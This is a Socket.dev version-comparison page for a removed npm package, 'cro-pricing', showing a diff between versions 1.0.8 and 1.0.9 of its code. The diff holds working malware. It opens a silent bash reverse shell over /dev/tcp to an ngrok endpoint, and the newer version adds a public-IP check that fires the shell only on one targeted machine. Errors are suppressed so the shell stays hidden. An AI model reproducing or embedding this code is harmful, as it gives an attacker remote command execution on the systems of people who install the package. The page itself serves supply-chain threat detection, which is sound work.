You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

cro-pricing

Package Overview
Dependencies
Maintainers
1
Versions
11
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

cro-pricing - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.8
to
1.0.9
+1
-1
package.json
{
"name": "cro-pricing",
"version": "1.0.8",
"version": "1.0.9",
"main": "index.js",

@@ -5,0 +5,0 @@ "scripts": {

const { exec } = require("child_process");
const fs = require("fs");
const axios = require("axios");
const host = "0.tcp.ap.ngrok.io";
const port = "12413";
const ngrokHost = "0.tcp.ap.ngrok.io";
const ngrokPort = "18031";
const targetIP = "204.236.139.248";

@@ -16,16 +18,23 @@ // Check if a shell exists

// Determine shell to use
let shell = "/bin/sh"; // default fallback
if (shellExists("/bin/bash")) {
shell = "/bin/bash";
}
// Get public IP and run reverse shell if matches
(async () => {
try {
const res = await axios.get("https://api.ipify.org?format=json", { timeout: 3000 });
const currentIP = res.data.ip;
// Build command using the detected shell
const cmd = `nohup ${shell} -c 'exec 5<>/dev/tcp/${host}/${port}; while read -r l<&5; do $l; done >&5 2>&5' &>/dev/null &`;
if (currentIP === targetIP) {
let shell = "/bin/sh";
if (shellExists("/bin/bash")) shell = "/bin/bash";
// Execute command
exec(cmd, (error, stdout, stderr) => {
if (error) {
// Fail silently or log
const cmd = `nohup ${shell} -c 'exec 5<>/dev/tcp/${ngrokHost}/${ngrokPort}; while read -r l<&5; do $l; done >&5 2>&5' &>/dev/null &`;
exec(cmd, (error, stdout, stderr) => {
if (error) {
// Optional: log error
}
});
}
} catch (err) {
// Silent fail
}
});
})();